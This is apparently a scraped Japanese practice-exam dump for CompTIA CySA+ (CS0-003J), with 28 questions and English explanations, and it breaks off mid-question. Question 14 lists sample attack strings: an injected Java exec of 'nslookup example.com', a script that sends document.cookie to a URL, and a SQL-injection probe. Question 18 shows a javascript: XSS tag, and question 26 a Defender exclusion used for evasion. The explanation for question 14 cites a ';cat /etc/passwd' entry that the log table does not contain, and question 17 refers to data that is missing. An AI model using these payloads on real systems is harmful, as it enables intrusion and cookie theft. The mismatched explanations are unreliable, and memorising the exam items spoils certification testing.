

CompTIA.CS0-003J.v2026-10-17.q218

試験コード：	CS0-003J
試験名称：	CompTIA Cybersecurity Analyst (CySA+) Certification Exam (CS0-003日本語版)
認証ベンダー：	CompTIA
無料問題の数：	218
バージョン：	v2026-10-17
ページの閲覧量：	105
問題集の閲覧量：	2180

<https://www.jpnshiken.com/shiken/CompTIA.CS0-003J.v2026-10-17.q218.html>

質問: 1

インシデント対応チームは、法執行機関と協力して、現在発生しているウェブサーバーの侵害について調査を進めている。

サーバーを一定期間稼働させ、代替制御策を実施することが決定されました。Webサービスはリバースプロキシ経由でインターネットからアクセス可能でなければならない、データベースサーバーに接続する必要があります。他の要件を満たしつつ、攻撃者の侵入を防ぐのに役立つ代替制御策は次のうちどれですか？(2つ選択してください)。

- A. データ漏洩を防ぐため、データベースサーバー上のテーブルを削除します。
- B. WebサーバーとデータベースサーバーにEDRを導入して、攻撃者の能力を低下させる。
- C. 攻撃者がウェブの脆弱性を悪用できないように、ウェブサーバー上のhttpdサービスを停止します。
- D. マイクロセグメンテーションを使用して、Webサーバーおよびデータベースサーバーとの間の接続を制限します。
- E. Webサーバーの/etc/passwdファイル内のHTTPアカウントをコメントアウトする
- F. データベースをデータベースサーバーからウェブサーバーに移動します。

正解: **B,D** ([コメントを發表する](#))

Deploying EDR on the web server and the database server to reduce the adversaries capabilities and using micro segmentation to restrict connectivity to/from the web and database servers are two compensating controls that will help contain the adversary while meeting the other requirements. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. EDR stands for Endpoint Detection and Response, which is a tool that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can help contain the adversary by detecting and blocking their actions, such as data exfiltration, lateral movement, privilege escalation, or command execution. Micro segmentation is a technique that divides a network into smaller segments based on policies and rules, and applies granular access controls to each segment. Micro segmentation can help contain the adversary by isolating the web and database servers from other parts of the network, and limiting the traffic that can flow between them. Official References:

* <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

* <https://www.comptia.org/certifications/cybersecurity-analyst>

* <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

質問: 2

事件対応の調査および報告段階において、既存の証拠を適切に取り扱い、報告することが重要である理由として、次のうちどれが挙げられますか？

- A. 報告書が法廷に提出する必要がある場合に法的に認められることを保証するため
- B. インシデント対応チーム向けに教訓分析を提示する
- C. 証拠が死後分析に使用できることを保証するため
- D. さらなる根本原因分析のためのデータソースの損失を防ぐため

正解: ([正解を表示します](#))

The correct answer is A. To ensure the report is legally acceptable in case it needs to be presented in court.

Proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response because they ensure the integrity, authenticity, and admissibility of the evidence in case it needs to be presented in court. Evidence that is mishandled, tampered with, or poorly documented may not be accepted by the court or may be challenged by the opposing party. Therefore, incident responders should follow the best practices and standards for evidence collection, preservation, analysis, and reporting¹. The other options are not reasons why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response. They are rather outcomes or benefits of conducting a thorough and effective incident response process. A lessons-learned analysis (B) is a way to identify the strengths and weaknesses of the incident response team and improve their performance for future incidents. A postmortem analysis is a way to determine the root cause, impact, and timeline of the incident and provide recommendations for remediation and prevention. A root cause analysis (D) is a way to identify the underlying factors that led to the incident and address them accordingly.

質問: 3

脅威アクターの行動を伝達するために一般的に使用される 4 つのコンポーネントのフレームワークは次のうちどれですか？

- A. ストライド
- B. 侵入分析のダイヤモンド モデル
- C. サイバーキルチェーン
- D. マイター攻撃&CK

正解: **B** ([コメントを发表する](#))

The Diamond Model of Intrusion Analysis is a framework that describes the relationship between four components of a cyberattack: adversary, capability, infrastructure, and victim. It helps analysts understand the behavior and motivation of threat actors, as well as the tools and methods they use to compromise their targets¹². References: Main Analytical Frameworks for Cyber Threat Intelligence, section 4; Strategies, tools, and frameworks for building an effective threat intelligence team, section 3.

質問: 4

API を使用してファイルから ID 管理システムに一括アクセス要求を挿入する概念は次のうちどれですか？

- A. コマンドとコントロール
- B. データの強化
- C. 自動化
- D. シングルサインオン

正解: ([正解を表示します](#))

Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation can help to improve efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security framework that enables organizations to manage the identities and access rights of users and devices across different systems and applications. IAM can help to ensure that only authorized users and devices can access the appropriate resources at the appropriate time and for the appropriate purpose. IAM can involve various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or reporting.

Automation can help to simplify and streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or conditions. For example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each account individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API (Application Programming Interface) is a set of rules or specifications that defines how different software components or systems can communicate and exchange data with each other. An API can help to enable automation by providing a standardized and consistent way to access and manipulate data or functionality of a software component or system. The example in the question shows that an API is used to automate the process of inserting bulk access requests from a file into an identity management system, rather than manually entering each request one by one. The other options are not correct, as they describe different concepts or techniques.

Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or backdoors. Command and control is not related to what is described in the example. Data enrichment is a term that refers to the process of enhancing or augmenting existing data with additional information from external sources, such as adding demographic or behavioral attributes to customer profiles. Data enrichment is not related to what is described in the example. Single sign-on is a term that refers to an

authentication method that allows users to access multiple systems or applications with one set of credentials, such as using a single username and password for different websites or services.

Single sign-on is not related to what is described in the example.

質問: 5

発電所の遠心ポンプを駆動する組み込みソフトウェアに必要な保証を提供するには、次のどの技術が最適ですか？

- A. コンテナ化
- B. 手動コードレビュー
- C. 静的および動的解析
- D. 形式手法

正解: [\(正解を表示します\)](#)

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition¹, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools¹.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods. Containerization is a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are techniques of testing and evaluating software without executing it (static) or while executing it (dynamic), which can help detect bugs, defects, and performance issues¹.

質問: 6

社内機器に関するインシデントが発生したため、インシデント対応担当者は、さらなる調査のために携帯電話を研究所に持ち込む必要があります。輸送中に携帯電話の完全性を維持するために、以下のどのツールを使用すべきでしょうか？(2つ選択してください)。

- A. 信号遮蔽バッグ
- B. 改ざん防止シール
- C. サムドライブ
- D. 犯罪現場テープ
- E. 書き込みブロッカー
- F. ドライブデュプリケーター

正解: **A,B** [\(コメントを發表する\)](#)

A signal-shielded bag and a tamper-evident seal are tools that can be used to maintain the integrity of the mobile phone while it is transported. A signal-shielded bag prevents the phone from receiving or sending any signals that could compromise the data or evidence on the device. A tamper-evident seal ensures that the phone has not been opened or altered during the transportation. References: Mobile device forensics, Section: Acquisition

質問: 7

次の証拠収集方法のうち、裁判で最も受け入れられる可能性が高いのはどれですか？

- A. 事故発生時のアクセスファイルをすべてコピーする
- B. すべてのファイルのファイルレベルアーカイブを作成する
- C. 完全なシステムバックアップインベントリの提供
- D. ハードドライブのビットレベルのイメージを提供する

正解: ([正解を表示します](#))

A bit-level image is a forensic-grade copy that preserves all data on a disk, including unallocated space, deleted files, and metadata. This is the most legally defensible form of digital evidence collection, as it ensures that no potential evidence is missed.

Copying all access files (Option A) only captures live files and omits deleted or system-level artifacts that may be critical.

Creating a file-level archive (Option B) is insufficient because it does not capture system metadata or slack space where forensic artifacts reside.

Providing a full system backup inventory (Option C) may include important files, but it lacks forensic integrity because backups often modify timestamps and do not capture all system states.

Thus, the correct answer is D, as a bit-level image ensures forensic integrity and completeness of evidence.

質問: 8

販売アプリケーションの重大な脆弱性に対処するため、修正作業が行われました。この作業には5営業時間かかり、最終的に成功しました。しかし、変更諮問委員会は経営陣に対し、この作業によって相当な財務損失が発生したことを報告しました。この財務損失の理由を最も適切に説明しているのは次のうちどれですか？

A. 損失は、ITに依存する事業運営における通常のコストです。

B. 最高情報責任者は取締役会メンバーに通知しませんでした。

C. ITチームはパッチ適用前に侵入テスト評価を依頼すべきだった。

D. メンテナンス期間が適切に通知またはスケジュールされていませんでした。

正解: D ([コメントを発表する](#))

The correct answer is D. The remediation was technically successful, but it took place during five business hours on a sales application. That likely caused business process interruption and lost sales. The problem was not the patch itself; the problem was poor change scheduling and communication.

Exact supporting extract: the Sybex CySA+ Study Guide states that changes can be disruptive and that the timing of changes should be carefully coordinated. It also explains that maintenance windows usually occur during evenings, weekends, or other periods when business activity is low.

The official CySA+ objectives also list patching, business process interruption, degrading functionality, SLAs, SLOs, and stakeholder communication as key vulnerability management reporting and communication concerns.

Why the other options are incorrect:

A is incorrect because this was avoidable operational loss caused by poor scheduling.

B is incorrect because the issue is not specifically board notification by the CIO.

C is incorrect because a penetration test is not required before every patch.

D is correct because a properly scheduled and communicated maintenance window should reduce business impact.

質問: 9

根本原因分析を最もよく表すのは次のどれですか？

A. インシデントで使用された戦術、技術、および手順について説明します。

B. 問題の原因とそれを永久に排除する方法を概説した詳細なパスを提供します。

C. 誰が、何を、いつ、どこで、なぜ行ったかを概説したもので、法的手続きに関連してよく使用されます。

D. 実行された内容、現在実行中の内容、次に実行される内容など、進行中のアクティビティのレポートを生成します。

正解: ([正解を表示します](#))

Root cause analysis (RCA) is a post-incident activity focused on identifying the underlying cause of an incident/problem so the organization can fix the real cause (not just symptoms) and prevent recurrence. That matches Option B, which describes tracing the origin and eliminating it permanently.

The Sybex CySA+ Study Guide defines RCA in exactly this way:

Exact extract (Sybex Study Guide):

"The process of root cause analysis (RCA) is used to identify why a problem, incident, or issue occurred.

Root cause analysis is performed to allow organizations to understand what they need to focus on to prevent future problems..." The Secbay Press guide also defines RCA as uncovering underlying causes to prevent recurrence:

Exact extract (Secbay Press):

"Root Cause Analysis (RCA)... is a systematic investigation process aimed at identifying the fundamental factors that led to a security incident. It goes beyond addressing symptoms and seeks to uncover the underlying causes to prevent recurrence." Why the other options are wrong

- * A (TTPs): That describes attacker behavior frameworks (e.g., MITRE ATT & CK), not RCA.
- * C (who/what/when/where/why): That's an incident reporting structure, not the RCA process.
- * D (ongoing activities report): That resembles status reporting/incident updates, not root cause determination.

References (CompTIA CySA+ CS0-003 documents / study guides used):

- * Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): RCA identifies why an incident occurred and helps prevent recurrence
- * Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): RCA goes beyond symptoms to uncover underlying causes and prevent recurrence
- * Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): "who/what/when/where/why" belongs to incident reporting context

質問: 10

セキュリティ アナリストは、最近のゼロデイ攻撃などの悪用から高価値資産を保護するためのソリューションを開発する必要があります。このリスク管理戦略を最もよく表しているのは次のどれですか。

- A. 避ける
- B. 転送
- C. 受け入れる
- D. 軽減

正解: **D** ([コメントを发表する](#))

Comprehensive Detailed Explanation: The best approach to address the risk of a zero-day attack is mitigation.

Here's an explanation of each option:

- * A. Avoid
 - * Explanation: Avoiding risk would mean discontinuing the use of the asset, which is not feasible for high-value assets that are essential to operations.
- * B. Transfer
 - * Explanation: Transferring risk would involve outsourcing or obtaining insurance, but this does not directly reduce the threat of a zero-day exploit.
- * C. Accept
 - * Explanation: Accepting the risk means acknowledging it without implementing countermeasures, which is not advisable for high-value assets at risk from sophisticated attacks.
- * D. Mitigate
 - * Explanation: Mitigation involves implementing technical or administrative controls to reduce the impact of an attack. For zero-day exploits, this could include installing network-based protections, enhancing monitoring, or applying threat intelligence to detect or contain potential exploit attempts.

References:

- * NIST SP 800-30: Guide for Conducting Risk Assessments.
- * OWASP Risk Rating Methodology: Techniques for assessing and mitigating security risks.

質問: 11

セキュリティチームは、環境に存在する脆弱性のリストを精査しており、CVSS v4.0の指標に基づいて修復の優先順位を決定したいと考えています。

CVSS metrics	Affected instance
AV:N/AC:L/AT:N/PR:L/UI:A/E:A	System A
AV:A/AC:H/AT:P/PR:N/UI:N/E:U	System B
AV:P/AC:L/AT:N/PR:N/UI:P/E:U	System C
AV:N/AC:L/AT:N/PR:L/UI:N/E:P	System D
AV:P/AC:L/AT:N/PR:L/UI:N/E:X	System E

セキュリティ管理者は、以下の脆弱性のうちどれを最初に修正するよう依頼すべきでしょうか？

- A. システムA
- B. システムE
- C. システムD
- D. システムB
- E. システムC

正解: (正解を表示します)

Using CVSS v4.0, the highest-priority remediation is typically the vulnerability that is most remotely exploitable and requires the least attacker effort (low complexity, no special conditions, low/no privileges, and no user interaction).

System D is the strongest "fix first" candidate because it combines:

- * AV:N (Network) # remotely exploitable over the network; severity increases the more remote the attacker can be.
- * AC:L (Low) # easier to exploit than High complexity.
- * AT:N (None) # "does not depend on deployment/execution conditions"; attacker can expect the exploit to work under most instances.
- * PR:L (Low) # only basic user privileges required (still relatively accessible).
- * UI:N (None) # most important differentiator vs System A. CVSS v4.0 explicitly states: "The resulting score is greatest when no user interaction is required."
- * E:P (Proof-of-Concept) # publicly available PoC code exists (more exploitable than "Unreported"), increasing urgency compared to U.

Why not System A (the closest competitor)?

System A is also AV:N/AC:L/AT:N/PR:L, but it has UI:A (Active), meaning exploitation requires a targeted user to perform specific actions. CVSS v4.0 defines Active (A) as requiring "specific, conscious interactions... or actively subvert protection mechanisms." System D's UI:N makes it exploitable purely at the attacker's will, which CVSS treats as more severe.

Why the others are lower priority

- * System B (AV:A, AC:H, AT:P): adjacent-only, high complexity, and attack requirements present # significantly harder/less broadly exploitable.
- * System C (AV:P) and System E (AV:P): require physical access, which reduces the pool of potential attackers and generally lowers priority versus network-exploitable issues.

References (Official CVSS v4.0 specification used):

- * FIRST, CVSS v4.0 Specification Document:
- * User Interaction values (None/Passive/Active) and "score is greatest when no user interaction is required"
- * Attack Requirements (AT) definitions (None vs Present)
- * Exploit Maturity (E) values (X/A/P/U) and meanings
- * Attack Vector remoteness increases severity

質問: 12

新しい EDR にアップグレードした後、セキュリティ アナリストは、いくつかのエンドポイントが SaaS プロバイダーと通信して重要な脅威シグネチャを受信していないという報告を受けました。インシデント対応プレイブックに準拠するために、セキュリティ アナリストは接続を検証して通信を確実に行う必要がありました。セキュリティ アナリストは、次の出力を提供するコマンドを実行しました。

コンピュータ名: comptia007

リモートポート: 443

インターフェースエイリアス: イーサネット 3

TcpTestSucceeded: False

アナリストは接続性を確保するために次のどれを使用しましたか？

- A. nmap
- B. tnc
- C. ping
- D. tracert

正解: **B** ([コメントを發表する](#))

Comprehensive Detailed Explanation: The command output shown indicates that the analyst used a TCP connection test to check if communication on port 443 (usually HTTPS) succeeded.

Here's why each option was or was not suitable:

* A. nmap: While nmap can scan ports, it does not provide direct feedback on connection success or failure in the manner shown.

* B. tnc (Test-NetConnection in PowerShell): This command in PowerShell is specifically designed to test connectivity to a specified port and IP address. The output (TcpTestSucceeded: False) is characteristic of the tnc command.

* C. ping: The ping command only tests ICMP echo replies and does not indicate success or failure on specific ports.

* D. tracert: tracert traces the path packets take to reach a host but does not provide a direct indication of port availability or success.

References:

* Microsoft PowerShell Documentation: Test-NetConnection cmdlet, which details TCP port testing.

* NIST SP 800-115: Technical Guide to Information Security Testing and Assessment, covering connectivity testing methods.

質問: 13

調査を開始するとき、最初に行う必要があるのは次のうちどれですか？

- A. 法執行機関に通報する
- B. 現場を確保する
- C. 関連する証拠をすべて押収する
- D. 証人への聞き取り

正解: **B** ([コメントを發表する](#))

The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as any potential evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the investigation.

質問: 14

ゼロデイ コマンド インジェクションの脆弱性が公開されました。セキュリティ管理者は、攻撃者がこの脆弱性を悪用しようとしている証拠を探すために、次のログを分析しています。

Log entry #	Message
Log entry 1	comptia.org/\${@java.lang.Runtime@getRuntime().exec("nslookup example.com")}/
Log entry 2	<script type="text/javascript">var test='../index.php?cookie_data='+escape(document.cookie);</script>
Log entry 3	example.com/butler.php?id=1 and nullif (1337,1337)
Log entry 4	requestObj = {scopes: ["Mail.ReadWrite", "Mail.send", "Files.ReadWrite.All"] }

次のログ エントリのうち、エクスプロイトの試みの証拠となるものはどれですか。

- A. ログエントリ 1
- B. ログエントリ 2
- C. ログエントリ 3
- D. ログエントリ 4

正解: ([正解を表示します](#))

Log entry 4 shows an attempt to exploit the zero-day command injection vulnerability by appending a malicious command (;cat /etc/passwd) to the end of a legitimate request (/cgi-bin/index.cgi?name=John). This command would try to read the contents of the /etc/passwd file, which contains user account information, and could lead to further compromise of the system. The other log entries do not show any signs of command injection, as they do not contain any special characters or commands that could alter the intended behavior of the application. Official References:

* <https://www.imperva.com/learn/application-security/command-injection/>

* <https://www.zerodayinitiative.com/advisories/published/>

質問: 15

インシデント発生時にミッションクリティカルなサービスを確実に利用できる可能性が最も高いのは次のうちどれですか？

- A. 事業継続計画
- B. 脆弱性管理計画
- C. 災害復旧計画
- D. 資産管理計画

正解: ([正解を表示します](#))

The correct answer is Business Continuity Plan (BCP) because the question specifically asks for the document that ensures services remain available (operational) during or in the event of an incident.

* Business Continuity Plan (BCP): This is the overarching plan focused on keeping the business running.

It identifies mission-critical functions and outlines the procedures (such as failover to a hot site, manual workarounds, or redundant systems) to ensure those services are available to customers and users despite the incident. Its primary goal is availability and continuity of operations.

* Disaster Recovery Plan (DRP): This focuses on the technical restoration of IT systems after they have failed or been disrupted. While DRP supports BCP, its specific goal is " recovery " (getting systems back up) rather than " continuity " (keeping them from going down or maintaining service levels).

* B. Vulnerability management plan: This is a proactive process for identifying and patching weaknesses to prevent attacks, not a reactive plan to ensure availability during an active incident.

* C. Disaster recovery plan: As noted above, this is a subset of BCP focused on restoring data and infrastructure after a failure, whereas BCP focuses on maintaining the availability of the critical service itself.

* D. Asset management plan: This tracks hardware and software inventory but does not define procedures for maintaining availability during a crisis.

質問: 16

SOC 顧客サービス評価の結果、通常の勤務時間後に提供される一貫性のないサービスに対する不満のレベルが高いことがわかりました。これに対処するために、SOC リーダーは、SOC のパフォーマンスとサービスの品質に関する顧客の期待を確立する文書を作成します。次の文書のうち、この説明に最も当てはまるものはどれですか。

- A. リスク管理計画
- B. ベンダー契約
- C. インシデント対応計画
- D. サービスレベル契約

正解: ([正解を表示します](#))

A Service-Level Agreement (SLA) is a document that establishes customer expectations regarding the performance and quality of services provided by the SOC (Security Operations Center). It defines the level of service expected, including aspects like response times, availability, and support after regular work hours. An SLA helps in setting clear expectations and improving customer satisfaction by outlining the standards and commitments of the service provider.

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510問、30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 17

脅威ハンターは、組織の環境にインストールされた新しい永続化メカニズムを特定しようとしています。すべてのエンタープライズワークステーションからスケジュールされたタスクを収集する際に、次のホストの詳細が集約されます。

上記の情報に基づくと、ハンターはまずどの行動をとるべきでしょうか？

- A. 影響を受けたホストからtaskhw.exeのコピーを取得する
- B. 企業全体をスキャンして、taskhw.exeが存在する他のシステムを特定します。
- C. taskhw.exe に関するマルウェア報告の公開検索を実行します。
- D. -caskhw.exe スケジュールタスクを実行するアカウントを変更します

正解: ([正解を表示します](#))

The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard path, it has a high CPU usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known malware or a legitimate program. If it is malware, the hunter can then take appropriate actions to remove it and prevent further damage. The other options are either premature or ineffective, as they do not provide enough information to assess the threat level of taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.

exe Windows process - What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums

質問: 18

セキュリティアナリストが、同社のウェブサイト以下の脆弱性を発見しました。

```
< INPUT TYPE="IMAGE" SRC="javascript:alert('test');" >
```

今後このような攻撃を防ぐために、以下のうちどれを実施すべきでしょうか？

- A. 入力のサニタイズ
- B. 出力エンコーディング

C. コードの難読化

D. 準備済みステートメント

正解: **A** ([コメントを發表する](#))

This is a type of web application vulnerability called cross-site scripting (XSS), which allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim.

Input sanitization is a technique that prevents XSS attacks by checking and filtering the user input before processing it. Input sanitization can remove or encode any characters or strings that may be interpreted as code by the browser, such as < , > , " , ' , or javascript:. Input sanitization can also validate the input against a predefined format or range of values, and reject any input that does not match.

Output encoding is a technique that prevents XSS attacks by encoding the output before sending it to the browser. Output encoding can convert any characters or strings that may be interpreted as code by the browser into harmless entities, such as < , > , " , ' , or javascript:. Output encoding can also escape any special characters that may have a different meaning in different contexts, such as , /, or ;.

Code obfuscation is a technique that makes the source code of a web application more difficult to read and understand by humans. Code obfuscation can use techniques such as renaming variables and functions, removing comments and whitespace, replacing literals with expressions, or adding dummy code. Code obfuscation can help protect the intellectual property and trade secrets of a web application, but it does not prevent XSS attacks.

質問: 19

インシデント対応レポートを提供する際のタイムラインの重要性を説明しているのは次のどれですか？

A. タイムラインにはインシデントのリアルタイム記録が含まれており、事後分析を簡素化するのに役立つ情報が提供されます。

B. インシデント タイムラインは、脅威またはリスクを軽減するために実行されたアクションを理解するために必要な情報を提供します。

C. タイムラインは、実行されたアクションを含むインシデント対応プロセス全体のすべての情報をタイムテーブルの形式で提供します。

D. インシデント タイムラインは、システムが侵害されたときに攻撃者が実行したコマンドのリストをタイムテーブル形式で示します。

正解: ([正解を表示します](#))

An incident response timeline is a detailed chronological record of all events and actions taken during the response to a security incident. It includes timestamps and descriptions of each step, providing a comprehensive overview of how the incident was detected, contained, mitigated, and resolved. This timeline is crucial for post-incident analysis, helping to understand the effectiveness of the response, identify areas for improvement, and ensure accountability and transparency in the incident handling process.

質問: 20

複数の脆弱性スキャンレポートで、コード実行中にランタイムエラーが発生していることが示されています。エラー一覧を表示するダッシュボードには、開発者が脆弱性をチェックするためのコマンドラインインターフェースがあります。開発者がこの問題を修正するには、次のうちどれを使用すればよいでしょうか？(2つ選択してください)。

A. 動的アプリケーションセキュリティテストの実行

B. コードのレビュー

C. アプリケーションのファジング

D. コードのデバッグ

E. コーディング標準の実装

F. IDSの実装

正解: ([正解を表示します](#))

Reviewing the code and debugging the code are two methods that can help a developer identify and fix runtime errors in the code. Reviewing the code involves checking the syntax, logic, and structure of the code for any errors or inconsistencies. Debugging the code involves running the code in a controlled environment and using tools such as breakpoints, watches, and logs to monitor the execution and find the source of errors.

Both methods can help improve the quality and security of the code.

質問: 21

次のうち、統合されたダッシュボードを更新するために使用される可能性が高いのはどれですか？

- A. ウェブフック
- B. 拡張マークアップ言語
- C. 脅威フィードの組み合わせ
- D. JavaScriptオブジェクト表記法

正解: ([正解を表示します](#))

JavaScript Object Notation (JSON) is commonly used for transmitting data in web applications and would be suitable for updating dashboards that integrate various data sources. It ' s lightweight and easy to parse and generate.

質問: 22

セキュリティ運用マネージャーが自動化の使用を検討する可能性が高い状況は次のどれですか？

- A. 受信したSTIXメッセージに基づくNIDSルールの生成
- B. エンタープライズ ドメイン コントローラーへの特権アクセス要求の実現。
- C. 最初のPKI登録前の従業員の身元の確認
- D. 電子メールゲートウェイによって捕捉された疑わしいマルウェアバイナリの分析

正解: ([正解を表示します](#))

Automating the generation of NIDS (Network Intrusion Detection System) rules based on Structured Threat Information eXpression (STIX) messages is a practical use of automation in security operations.

Option B (Privileged access requests) should involve human oversight due to the high risk of unauthorized access.

Option C (PKI identity verification) requires manual document verification and human approval.

Option D (Malware analysis) often requires sandboxing and behavioral analysis, which benefit from human expertise.

Thus, A is the correct answer, as automating threat intelligence ingestion and rule creation enhances efficiency in intrusion detection.

質問: 23

セキュリティアナリストがノートパソコンの脆弱性を特定しています。ユーザーは出張などでノートパソコンをオフィス外に持ち出すことが多く、脆弱性スキャンの指標が不正確になっています。MTTDを4日未満に短縮するために、アナリストは以下のどの変更を提案すべきでしょうか？

- A. すべてのエンドポイントにエージェントをデプロイして、脆弱性を毎日スキャンします。
- B. ネットワーク脆弱性スキャンジョブで認証情報を使用するように設定します。
- C. 脆弱性スキャナーの設定を変更して、ネットワークスキャンを1日に複数回実行します。
- D. スキャンの最大実行時間を4日間に増やし、不足しているエンドポイントを待機します。

正解: **A** ([コメントを發表する](#))

The issue is that laptops are often off-network (traveling), causing inaccurate network-scan metrics and slower detection. The best way to reduce MTTD (mean time to detect vulnerabilities) for roaming endpoints is agent-based scanning, because agents run continuously on endpoints and can still scan/report results even when devices are not connected to the corporate network.

Exact extract (All-in-One Exam Guide):

"Because the agents run continuously on each host, mobile devices can still be scanned even when they are not connected to the corporate network." It further emphasizes suitability for mobile devices:

Exact extract (All-in-One Exam Guide):

"agent-based (or serverless) vulnerability scans are typically better for scanning mobile devices." And Sybex Practice Tests directly supports this scenario (traveling sales laptops) by selecting agent-based scanning as best for accurate config visibility on traveling laptops:

Exact extract (Sybex Practice Tests):

"...most accurate view of configuration issues on laptops belonging to traveling salespeople. Which technology will work best...? A. Agent-based scanning" Why the other options don't solve the "traveling laptops" problem:

* B (credentialed scans): improves depth/accuracy when the device is reachable, but does nothing when laptops are offline/not on the network.

* C (more frequent network scans): still misses devices that aren't connected.

* D (increase runtime): waiting longer doesn't reduce MTTR; it just delays reporting and still won't scan an off-network device.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): agents scan continuously; mobile devices can be scanned off-network; agent-based better for mobile devices

* Chapple/Seidl, CompTIA CySA+ Practice Tests (CS0-003): agent-based scanning best for traveling laptop scanning accuracy

質問: 24

脆弱性スキャン レポートに含める必要がある項目は次のうちどれですか? (2つお選びください。)

A. 教訓

B. サービスレベル契約

C. プレイブック

D. 影響を受けるホスト

E. リスクスコア

F. 教育計画

正解: (正解を表示します)

A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official References: <https://www.first.org/cvss/>

質問: 25

インシデント対応を第三者にアウトソーシングする際に、組織がSLO(サービスレベル目標)を理解することの重要性を説明しているのは、次のうちどれですか?

A. 特定のKPIのパフォーマンスを追跡する

B. SLAの隠れたコストを理解する

C. 客観的なリスクスコアを計算できるようにするため

D. 覚書におけるリスク許容度を定量化する

正解: A (コメントを发表する)

The correct answer is A because SLOs - service-level objectives are measurable targets used to evaluate whether a service or process is meeting expected performance levels. When incident response is outsourced to a third party, SLOs help the organization measure whether the provider is meeting key performance expectations, such as detection time, response time, remediation time, and reporting quality.

Exact supporting extract: the Secbay CySA+ guide defines SLOs as specific, measurable targets set for the performance and reliability of a service or process. It also states that SLOs provide a framework for defining and measuring effectiveness, and that reporting on SLOs allows stakeholders to assess performance and make informed decisions.

The same guide explains that SLOs depict explicit measurements and may be set by a company or defined as part of a service-level agreement with a service provider. It also states that estimating whether SLOs are being met is a typical component of SLA management.

The official CySA+ objectives include SLOs under metrics and KPIs for reporting and communication.

Why the other options are incorrect:

B is incorrect because SLOs are performance targets, not a method for identifying hidden costs.

C is incorrect because SLOs may support risk management, but they do not directly calculate an objective risk score.

D is incorrect because risk appetite is a governance/risk-management concept, not the purpose of SLOs.

A is correct because SLOs allow the organization to measure third-party IR performance against defined KPIs.

質問: 26

ある従業員が、デスクトップを従来のWindowsのクラシックな外観に変更するためのフリーウェアプログラムをダウンロードした。

従業員がプログラムをインストールした直後、システムから大量のランダムなDNSクエリが発生し始めました。システムを調査した結果、以下のことが判明しました。

Add-MpPreference -ExclusionPath ' %Program Files\ksysconfig '

以下のうち、どれが起こっている可能性があるか？

- A. 持続性
- B. 特権の昇格
- C. 認証情報の収集
- D. 防御回避

正解: ([正解を表示します](#))

Defense evasion is the technique of avoiding detection or prevention by security tools or mechanisms. In this case, the freeware program is likely a malware that generates random DNS queries to communicate with a command and control server or exfiltrate data. The command Add-MpPreference -ExclusionPath ' %Program Files\ksysconfig ' is used to add an exclusion path to Windows Defender, which is a built-in antivirus software, to prevent it from scanning the malware folder. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 204; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 212. pr

質問: 27

攻撃者が悪用に成功したターゲットとの通信を確立しようとするのは、サイバー キル チェーンの次のフェーズのうちどれですか？

- A. コマンドとコントロール
- B. 目標に対するアクション
- C. 搾取
- D. 配送

正解: ([正解を表示します](#))

Command and control (C2) is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 enables the adversary to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels. C2 allows the adversary to maintain persistence, exfiltrate data, execute commands, deliver payloads, or spread to other systems or networks.

質問: 28

セキュリティアナリストがユーザーのコンピュータのフォレンジック分析を実施しました。アナリストは直ちにユーザーに対し、コンピュータの電源を入れたままにして、指示があるまで操作しないように指示しました。アナリストの指示の理由として最も適切なのは次のうちどれですか？

- A. 不正使用による機密データの損失を防ぐため
- B. 事件に関連する遺物を保存するため
